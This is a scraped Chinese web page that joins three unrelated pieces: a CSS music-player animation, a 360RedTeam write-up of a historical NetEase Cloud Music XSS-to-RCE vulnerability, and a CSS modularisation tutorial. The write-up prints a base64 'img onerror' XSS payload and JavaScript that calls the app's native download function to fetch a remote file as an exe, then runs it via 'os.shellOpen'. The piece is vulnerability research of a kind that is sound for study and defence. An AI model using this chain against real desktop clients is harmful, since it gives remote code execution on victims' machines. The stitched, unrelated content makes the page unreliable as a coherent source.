前兩天聽(tīng)歌的時(shí)候發(fā)現(xiàn)網(wǎng)易云的孤獨(dú)星球動(dòng)畫(huà)挺好看,本想著在網(wǎng)上找找思路,誰(shuí)知道直接就有,哈哈效果圖(動(dòng)態(tài)的,沒(méi)找到動(dòng)態(tài)工具,拿截圖湊合看吧):
CSS
#effect-music { position: relative; margin: auto; width: 100%; height: 400px; overflow: hidden;} #effect-music > .image { position: absolute; left: 0; right: 0; top: 0; bottom: 0; margin: auto; width: 150px; height: 150px; background: url(https://tvax1.sinaimg.cn/crop.0.280.720.720.180/cf2922d4ly1g4r5m8upm6j20k00zkqt7.jpg); background-size: cover; background-position: center center; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -ms-border-radius: 50%; -o-border-radius: 50%; animation: rotate 10s linear 0s infinite; -webkit-animation: rotate 10s linear 0s infinite;} #effect-music > .wave { position: absolute; opacity: 0; left: 0; right: 0; top: 0; bottom: 0; margin: auto; width: 204px; height: 204px; border-radius: 50%; border: 2px solid #eee; animation: wave 4s linear 0s infinite; -webkit-animation: wave 4s linear 0s infinite;} #effect-music > .wave::after { content: ""; position: absolute; top: -4px; left: 50%; width: 6px; height: 6px; overflow: hidden; border-radius: 5px; -webkit-border-radius: 5px; -moz-border-radius: 5px; -ms-border-radius: 5px; -o-border-radius: 5px; background-color: #ccc;} #effect-music > .wave:nth-child(2) { animation-delay: 1s;} #effect-music > .wave:nth-child(3) { animation-delay: 2s;} #effect-music > .wave:nth-child(4) { animation-delay: 3s;} @keyframes rotate { from { transform: rotate(0deg); -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); } to { transform: rotate(360deg); -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); }} @keyframes wave { from { opacity: 1; transform: rotate(0deg) scale(1); -webkit-transform: rotate(0deg) scale(1); -moz-transform: rotate(0deg) scale(1); -ms-transform: rotate(0deg) scale(1); -o-transform: rotate(0deg) scale(1); } to { opacity: 0; transform: rotate(-300deg) scale(2.2); -webkit-transform: rotate(-300deg) scale(2.2); -moz-transform: rotate(-300deg) scale(2.2); -ms-transform: rotate(-300deg) scale(2.2); -o-transform: rotate(-300deg) scale(2.2);}}
HTML
<div id="effect-music"><div class="image"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div></div>
Author: Wfox@360RedTeam
前面章節(jié)講解了應(yīng)用程序是如何與網(wǎng)頁(yè)進(jìn)行交互的,接下來(lái)章節(jié)分析通用軟件歷史漏洞,通過(guò)真實(shí)漏洞案例分析去了解嵌入式瀏覽器安全的攻擊面。本章節(jié)講的是網(wǎng)易云音樂(lè)rce漏洞分析,一個(gè)經(jīng)典的XSS to RCE漏洞。
往期文章回顧: 1. 《嵌入式瀏覽器安全之初識(shí)Cef》
cef瀏覽器中加載web網(wǎng)頁(yè)訪問(wèn)通常分為兩種,分別是遠(yuǎn)程資源加載、本地資源加載。
遠(yuǎn)程資源加載,通過(guò)http、https等協(xié)議加載網(wǎng)頁(yè),通常在軟件里作為擴(kuò)展功能,可延展性強(qiáng),缺點(diǎn)是頁(yè)面加載速度受網(wǎng)絡(luò)環(huán)境影響。 本地資源加載,通過(guò)file協(xié)議實(shí)現(xiàn)加載web頁(yè)面,也是cef桌面應(yīng)用的主要實(shí)現(xiàn)方式。本地加載uri實(shí)現(xiàn)方式分為三種:
第2、3種方式是通過(guò)cef資源重定向?qū)崿F(xiàn)的,在使用cef加載本地web資源時(shí),html或者js文件很可能會(huì)暴露一些接口或者重要數(shù)據(jù),為了代碼保護(hù)需要把web資源進(jìn)行加密,常見(jiàn)方式是通過(guò)zip進(jìn)行密碼加密。解密也比較簡(jiǎn)單,逆向主程序文件找到解壓密碼或者zip明文攻擊就能解壓加密的資源文件。
具體的實(shí)現(xiàn)原理這里不再?gòu)?fù)述,感興趣的可以閱讀這篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278
漏洞挖掘的第一步,先打開(kāi)網(wǎng)易云音樂(lè)的目錄,可以看到明顯的Cef目錄架構(gòu),比如說(shuō)子目錄、依賴庫(kù)特征等。
在package目錄中,找到了網(wǎng)易云音樂(lè)的資源文件包orpheus.ntpk,以zip格式解壓得到網(wǎng)易云音樂(lè)html資源文件。
解壓之后目錄結(jié)構(gòu)如下,包含了html、js、css文件等,正是這些構(gòu)成了網(wǎng)易云音樂(lè)的整個(gè)前端界面。
當(dāng)網(wǎng)易云音樂(lè)主程序打開(kāi)時(shí)就會(huì)加載鏈接 orpheus://orpheus/pub/app.html,經(jīng)過(guò)cef資源重定向處理后,加載orpheus.ntpk壓縮包的/pub/app.html,也就是我們最為熟悉的主界面。
通過(guò)進(jìn)程查看軟件Process Hacker查看cloudmusic.exe進(jìn)程,可以看到cloudmusic.exe主進(jìn)程下面起了兩個(gè)子進(jìn)程。
這兩個(gè)進(jìn)程分別是render進(jìn)程與GPU加速進(jìn)程,GPU加速進(jìn)程用于加速頁(yè)面渲染,在網(wǎng)易云音樂(lè)的設(shè)置里可以禁用GPU加速。
// cef render進(jìn)程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染進(jìn)程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411
在漏洞挖掘過(guò)程中可以關(guān)注下cef進(jìn)程的啟動(dòng)參數(shù),指不定有些好玩的啟動(dòng)參數(shù),后邊章節(jié)再講這方面。
在拿到源碼文件之后,能做的事情很多,感興趣的可以自行從html、js里邊發(fā)掘。這次的目的是為了給客戶端彈個(gè)計(jì)算器,所以首先要達(dá)到一個(gè)目標(biāo),執(zhí)行任意JavaScript,先從一個(gè)xss漏洞開(kāi)始。
接下來(lái)就是常規(guī)的Web前端漏洞挖掘思路,在發(fā)掘過(guò)程中可以將html、js進(jìn)行格式化,方便閱讀代碼。
原漏洞作者的思路是從html模板文件找到未過(guò)濾的模板變量,從而控制輸出點(diǎn)達(dá)到xss。但在實(shí)際挖掘中,大部分html輸出點(diǎn)都是不可控的,原作者找到的xss觸發(fā)點(diǎn)在電臺(tái)頁(yè)面/pub/module/main/djradio/show/index.html的電臺(tái)名稱字段。
漏洞點(diǎn)修復(fù)前是${x.name},修復(fù)之后加上了escape進(jìn)行編碼過(guò)濾。
我們需要添加一個(gè)名稱帶有xss payload的電臺(tái),受害者通過(guò)搜索電臺(tái)名稱,在訪問(wèn)電臺(tái)頁(yè)時(shí)即可觸發(fā)xss。
原漏洞作者提到了通過(guò)外置瀏覽器跳轉(zhuǎn)到偽協(xié)議鏈接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,從而喚起網(wǎng)易云音樂(lè),但經(jīng)過(guò)實(shí)際分析測(cè)試,只能喚起應(yīng)用但不能跳到對(duì)應(yīng)搜索頁(yè)面。
那外置瀏覽器是如何調(diào)用網(wǎng)易云音樂(lè)偽協(xié)議,通過(guò)注冊(cè)表可以查看windows系統(tǒng)中注冊(cè)的所有偽協(xié)議,比如網(wǎng)易云音樂(lè)orpheus協(xié)議在注冊(cè)表的地址為 HKEY_CLASSES_ROOT\orpheus\shell\open\command,鍵值為 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作為變量對(duì)應(yīng)的是完整的偽協(xié)議url,最終創(chuàng)建進(jìn)程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”
目前電臺(tái)頁(yè)面處無(wú)法復(fù)現(xiàn)漏洞,所以搬了原作者的xss效果圖。
小目標(biāo)達(dá)到了,接下來(lái)就是如何將xss漏洞的危害擴(kuò)大,這里就要用到第一節(jié)講到的知識(shí)點(diǎn),應(yīng)用程序會(huì)在render進(jìn)程上下文中注冊(cè)許多JavaScript擴(kuò)展函數(shù),用于應(yīng)用程序與網(wǎng)頁(yè)進(jìn)行交互。
舉個(gè)例子,緩存歌曲、緩存突破、下載歌曲、下載歌詞文件這些功能都需要涉及文件操作,但網(wǎng)頁(yè)由于安全策略限制是無(wú)法直接保存文件的,所以需要通過(guò)JavaScript調(diào)用native function來(lái)實(shí)現(xiàn)文件操作。
當(dāng)然應(yīng)用程序注冊(cè)的JavaScript擴(kuò)展函數(shù)不止這些,接下來(lái)進(jìn)階攻擊就是尋找脆弱的JS擴(kuò)展函數(shù)進(jìn)行復(fù)用,以達(dá)到竊取數(shù)據(jù)、劫持登錄憑證、讀取任意文件、甚至控制對(duì)方計(jì)算機(jī)權(quán)限的目的。
現(xiàn)在復(fù)測(cè)沒(méi)有xss漏洞可以用,那我們就假裝有一個(gè)xss,通過(guò)攔截網(wǎng)易云音樂(lè)的請(qǐng)求修改響應(yīng),插入我們的JavaScript代碼。此時(shí)祭出大殺器BurpSuite,通過(guò)網(wǎng)易云音樂(lè)自帶的HTTP代理功能設(shè)置成127.0.0.1:8080
代理設(shè)置成功后,BurpSuite就能抓到網(wǎng)易云音樂(lè)的請(qǐng)求。這里用漏洞版本2.1.2.180086作為演示,前面提到過(guò)網(wǎng)易云音樂(lè)有很多html輸出點(diǎn)都沒(méi)過(guò)濾的,但是內(nèi)容是不可控的。在舊版本網(wǎng)易云音樂(lè)中,可以通過(guò)BurpSuite攔截修改api請(qǐng)求的明文響應(yīng)包插入xss payload,觸發(fā)XSS。(新版本中api請(qǐng)求響應(yīng)都加密了)
比如說(shuō)在搜索歌詞時(shí),響應(yīng)部分的lyrics字段會(huì)作為html內(nèi)容插入到頁(yè)面中,可以替換這部分的響應(yīng)內(nèi)容插入xss內(nèi)容。
添加自動(dòng)替換響應(yīng)包規(guī)則,省得每次都要攔截修改響應(yīng)。
隨便搜一個(gè)查詢條數(shù)少的關(guān)鍵詞,切到歌詞的搜索結(jié)果,加載替換響應(yīng)內(nèi)容后成功觸發(fā)XSS。
通常cef程序很少會(huì)留有可以直接系統(tǒng)命令的擴(kuò)展函數(shù),所以常見(jiàn)的rce思路是下載可執(zhí)行文件+運(yùn)行文件以達(dá)到rce的效果。接下來(lái)就是通讀代碼,尋找任意保存文件的擴(kuò)展函數(shù)。
網(wǎng)易云音樂(lè)的主要功能邏輯在core.js文件,第一步先將混淆的JavaScript代碼美化,提高代碼可讀性,在代碼量居多的情況下可以搜索相關(guān)關(guān)鍵詞以定位函數(shù),如save、保存、download、下載等,通過(guò)關(guān)鍵詞定位找到一處可疑的功能代碼。
根據(jù)代碼上下文邏輯,構(gòu)造出文件下載保存的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });
JavaScript代碼太長(zhǎng)在xss里格式不好處理,所以將xss代碼base64執(zhí)行。
<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>
插入XSS代碼觸發(fā),可以將任意遠(yuǎn)程文件保存到本地任意位置。poc觸發(fā)成功后將百度logo圖片保存到c:/users/public/1.png
當(dāng)然在實(shí)際場(chǎng)景中可能會(huì)遇到長(zhǎng)度限制,這里只是把payload寫(xiě)在一起作為演示,正常利用建議還是引用遠(yuǎn)程JS文件。
exe文件已經(jīng)落地到文件系統(tǒng)中了,接下來(lái)就是如何觸發(fā)下載后的exe文件。通讀代碼可以發(fā)現(xiàn),網(wǎng)易云音樂(lè)基本是通過(guò)bD.cFB、bD.bX調(diào)用native函數(shù),可以圍繞著這些函數(shù)調(diào)用進(jìn)行發(fā)掘,然后復(fù)用函數(shù)方法。
通過(guò)技巧找到了打開(kāi)exe文件的方法,這個(gè)函數(shù)原意應(yīng)該是用來(lái)打開(kāi)文件夾的,文件/pub/module/main/offline/complete/index.html
根據(jù)代碼上下文邏輯,構(gòu)造出打開(kāi)指定exe文件的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");
文件下載、打開(kāi)exe文件都具備了,接下來(lái)構(gòu)造完整漏洞利用代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);
完整利用流程:插入xss payload -> 誘導(dǎo)別人觸發(fā)xss -> 下載保存exe文件 -> 打開(kāi)執(zhí)行exe文件
在網(wǎng)易云音樂(lè)最新版本中不僅修復(fù)了xss漏洞、增加CSP安全策略,還修復(fù)了文件下載、打開(kāi)文件等涉及文件操作的許多函數(shù),使攻擊成本加大,熟悉逆向的可以分析下判斷邏輯是否能夠繞過(guò)。
本章節(jié)涉及了cef資源加載、目錄結(jié)構(gòu)分析、進(jìn)程啟動(dòng)分析、scheme協(xié)議注冊(cè)、XSS漏洞挖掘、native交互漏洞挖掘等知識(shí)點(diǎn),完成一個(gè)XSS to RCE漏洞的挖掘才能算是真正的入門(mén)。當(dāng)Web安全人員去真正發(fā)掘這方面漏洞時(shí),會(huì)發(fā)現(xiàn)嵌入式瀏覽器漏洞挖掘也沒(méi)那么難以觸及,主要是通讀代碼跟復(fù)現(xiàn)代碼邏輯會(huì)比較耗時(shí)間,感興趣的朋友可以嘗試下挖掘通用點(diǎn)的桌面應(yīng)用~
漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278
CSS(Cascading Style Sheets),從誕生之初就決定了它無(wú)法編程,甚至連解釋性語(yǔ)言都算不上,只能作為一種簡(jiǎn)單的層疊樣式表,對(duì) HTML 元素進(jìn)行格式化。
但隨著前端的發(fā)展,前端項(xiàng)目已經(jīng)變得越來(lái)越龐大和復(fù)雜,社區(qū)也一直在探索如何以一種有效的方式去管理前端的代碼(js/css/html)和資源(images, fonts, ...)。
在這個(gè)過(guò)程中,社區(qū)探索出了 js 的模塊化(amd, commonjs, es6),現(xiàn)在用 js 開(kāi)發(fā)大工程已經(jīng)游刃有余,而 css 的模塊化卻還沒(méi)有特別的深入人心。
1. 分組式模塊化
這是最早對(duì) css 模塊化的實(shí)現(xiàn),也是最主要的一種方式,包括現(xiàn)在很多組件和開(kāi)發(fā)者都是用這種方式開(kāi)發(fā)的。
分組式模塊化就是用命名的方式,以不同的前綴代表不同的含義,實(shí)現(xiàn)樣式分組,文件分塊,達(dá)到模塊化的目的。
比如:
# 目錄結(jié)構(gòu) |-- one/page/css/ 某個(gè)頁(yè)面的 css 目錄 |-- common.css 通用的 css |-- page1/ 單頁(yè)面1 |-- section1.css 區(qū)域1 css |-- section2.css 區(qū)域2 css |-- page2/ 單頁(yè)面2 |-- ... # common.css 文件 .c-el-1 { ... } .c-el-2 { ... } ... # page1/section1.css 文件 .page1-section1 { ... } .page1-section1 .el-1 { ... } .page1-section1 .el-2 { ... } ... # page1/section2.css 文件 .page1-section2 { ... } .page1-section2 .el-1 { ... } .page1-section2 .el-2 { ... } ...
這種方式并不是真正意義上的模塊化,因?yàn)闊o(wú)法避免全局沖突的問(wèn)題,但原生 css 并不具備編程的能力,所以這個(gè)問(wèn)題是無(wú)法避免的。盡管分組式不算真正意義上的模塊化,但是這種方式?jīng)]有脫離 css 原生的機(jī)制,所以尤其是第三方組件在導(dǎo)出 css 文件時(shí),很多都使用的是這種方式。
比如,ant-design 導(dǎo)出的 css 中使用 ant- 前綴標(biāo)識(shí),mui 導(dǎo)出的 css 中使用 mui- 前綴標(biāo)識(shí)等等。
1.1 最佳實(shí)踐
css 命名分組實(shí)踐的時(shí)間很長(zhǎng),從 css 誕生之初就有了,所以社區(qū)已經(jīng)發(fā)展很成熟了,比如網(wǎng)易的 css 規(guī)范框架 NEC,H-ui。
補(bǔ)充:
<ul> <li data-tab="1">tab1</li> <li data-tab="2">tab2</li> </ul> <div data-tab-container="1"></div> <div data-tab-container="2"></div>
1.2 css 語(yǔ)言擴(kuò)充
因?yàn)?css 不是編程語(yǔ)言,所以不能聲明變量、函數(shù),不能做判斷、循環(huán)和計(jì)算,也不能嵌套,所以這就使得寫(xiě)樣式是一個(gè)效率底下且又枯燥的活兒。
為了解決這個(gè)問(wèn)題,社區(qū)在探索中主要衍生出了兩種拓展語(yǔ)言 less 與 sass,它們兼容 css,并且拓展了編程的功能,主要是帶來(lái)了以下的特性:
.page1-section1 { ... .el-1 { ... .el-1-1 { ... } } .el-2 { ... } }
從模塊化的角度來(lái)講,less 與 sass 只是擴(kuò)充了 css 的功能,但并沒(méi)有在語(yǔ)言的層面做模塊化,因?yàn)槿置麤_突的問(wèn)題依然還在。
2. 模塊化(導(dǎo)出為 js 對(duì)象)
想要讓 css 具備真正意義上的模塊化功能,暫時(shí)還不能從語(yǔ)言的層面來(lái)考慮,所以只能從工具的角度來(lái)實(shí)現(xiàn)。
目前比較好的方式是使用 js 來(lái)加載 css 文件,并將 css 的內(nèi)容導(dǎo)出為一個(gè)對(duì)象,使用 js 來(lái)渲染整個(gè) dom 樹(shù)和匹配相應(yīng)的樣式到對(duì)應(yīng)的元素上,在這個(gè)過(guò)程中,我們便有機(jī)會(huì)對(duì) css 做額外的處理,來(lái)達(dá)到模塊化的目的。
比如:
源文件
# style.css 文件 .className { color: green; } # js 文件 import styles from "./style.css"; element.innerHTML='<div class="' + styles.className + '">Hello!</div>';
實(shí)際效果
# style.css 文件 ._23_aKvs-b8bW2Vg3fwHozO { color: green; } # DOM <div class="_23_aKvs-b8bW2Vg3fwHozO">Hello!</div>
在這個(gè)轉(zhuǎn)換過(guò)程中,根據(jù)文件的位置、內(nèi)容生成一個(gè)全局唯一的 base64 字符串,替換原來(lái)的名稱,避免了全局命名沖突的問(wèn)題,這樣便達(dá)到了模塊化的目的。所以,開(kāi)發(fā)的過(guò)程中便無(wú)全局樣式?jīng)_突的問(wèn)題。
# common.css 文件 .container { ... } .el1 { ... } .el2 { ... } ... # page1/section1.css 文件 .container { ... } .title { ... } .content { ... } ... # page2/section1.css 文件 .container { ... } .title { ... } .content { ... } ...
對(duì) css 模塊化的定義參見(jiàn) css-modules,其中對(duì) css 書(shū)寫(xiě)需求主要是:
更多功能可以查看 css-modules。
當(dāng)然這個(gè)功能需要構(gòu)建工具的支持,如果你是使用 webpack 構(gòu)建工程的話,可以使用 css-loader,并設(shè)置 options.modules 為 true, 便可使用模塊化的功能了。
3. 模塊化(內(nèi)置 js,綁定組件)
隨著前端組件化的發(fā)展,組件化框架的更新,如 react、vue,慢慢的發(fā)展為把整個(gè)組件的資源進(jìn)行封裝,并只對(duì)外暴露一個(gè)對(duì)象,而調(diào)用者無(wú)需關(guān)心組件的內(nèi)部實(shí)現(xiàn)和資源,直接調(diào)用這個(gè)對(duì)象就夠了。
比如(以 react 為例),一個(gè) Welcome 組件,包括一個(gè) js 文件、一個(gè) css 文件、圖片:
# Welcome 組件 |-- welcome.js |-- welcome.css |-- images/
在 welcome.js 中便可如下加載(使用“導(dǎo)出為 js 對(duì)象”的 css 模塊化):
import styles from './welcome.css'; import image1 from './images/1.jpg';
其實(shí),還有另外一種思路,就是將 css 內(nèi)置 js 中,成為 js 的一部分。
這樣做的目的,一是 css 的模塊化,二是直接綁定到組件上。
比如,material-ui 便是使用的這種方式。
這種方式的實(shí)現(xiàn)有很多種,這里主要介紹一下 styled-jsx。
3.1 styled-jsx
styled-jsx 的原理是根據(jù)當(dāng)前文件的位置、內(nèi)容生成一個(gè)全局唯一的標(biāo)識(shí),然后把這個(gè)標(biāo)識(shí)追加到組件每一個(gè)元素上,每一個(gè)樣式選擇器上,達(dá)到模塊化的目的。
可以參考官方文檔,查看詳細(xì)的用法,我在這里給個(gè)例子:
3.1.1 安裝工具(babel 轉(zhuǎn)碼所需)
npm install --save styled-jsx
3.1.2 配置 babel plugins(如 .babelrc)
{ "plugins": [ "styled-jsx/babel" ] }
3.1.3 添加源文件代碼
hello.js
export default ()=> ( <div className={'container'}> <p className={'hello'}>Hello! Hello!</p> <div id={'hi'}>Hi!</div> <style jsx>{` .container { color: blue; } p:first-child { color: red; } .hello { color: yellow; } #hi { color: green; } `}</style> </div> )
3.1.4 轉(zhuǎn)碼
babel path/to/hello.js -d target/dir
轉(zhuǎn)碼后的文件
import _JSXStyle from 'styled-jsx/style'; export default ()=> ( <div className={'jsx-234963469' + ' ' + 'container'}> <p className={'jsx-234963469' + ' ' + 'hello'}>Hello! Hello!</p> <div id={'hi'} className={"jsx-234963469"}>Hi!</div> <_JSXStyle styleId={"234963469"} css={".container.jsx-234963469{color:blue;}p.jsx-234963469:first-child{color:red;}.hello.jsx-234963469{color:yellow;}#hi.jsx-234963469{color:green;}"} /> </div> );
3.1.5 運(yùn)行
實(shí)際渲染效果
*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。